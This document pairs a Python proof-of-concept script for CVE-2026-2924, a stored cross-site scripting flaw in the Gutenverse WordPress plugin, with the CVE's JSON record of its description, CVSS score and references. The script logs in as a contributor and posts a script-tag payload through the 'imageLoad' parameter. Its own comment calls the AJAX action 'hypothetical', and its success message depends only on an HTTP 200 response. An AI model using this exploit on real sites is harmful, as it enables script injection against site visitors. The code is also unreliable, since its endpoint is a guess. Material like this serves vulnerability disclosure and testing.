CVE-2026-2924

# PoC for CVE-2026-2924 Stored XSS in Gutenverse Plugin # This PoC demonstrates how an authenticated contributor could inject # malicious JavaScript via the 'imageLoad' parameter. import requests # Configuration target_url = "http://example.com/wp-admin/admin-ajax.php" username = "contributor" password = "password" # 1. Authenticate and get cookies session = requests.Session() login_data = {"log": username, "pwd": password, "wp-submit": "Log In"} session.post("http://example.com/wp-login.php", data=login_data) # 2. Prepare Payload (XSS) # Injecting a simple alert via the vulnerable 'imageLoad' parameter xss_payload = '"><script>alert(1)</script>' # 3. Construct Exploit Request # Simulating a request to update a block or post setting post_data = { "action": "gutenverse_save_block", # Hypothetical action based on plugin structure "imageLoad": xss_payload, # Vulnerable parameter "post_id": "1" } response = session.post(target_url, data=post_data) if response.status_code == 200: print("[+] Payload injected successfully.") print("[+] Check the post page to trigger XSS.") else: print("[-] Injection failed.")

{"cve": {"id": "CVE-2026-2924", "sourceIdentifier": "[email protected]", "published": "2026-04-04T04:17:13.790", "lastModified": "2026-04-24T18:13:28.877", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Gutenverse – Ultimate WordPress FSE Blocks Addons & Ecosystem plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'imageLoad' parameter in versions up to, and including, 3.4.6 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3468383/gutenverse", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/950f7493-4ccb-4a8a-9cc2-23b9ba3a9cd0?source=cve", "source": "[email protected]"}]}}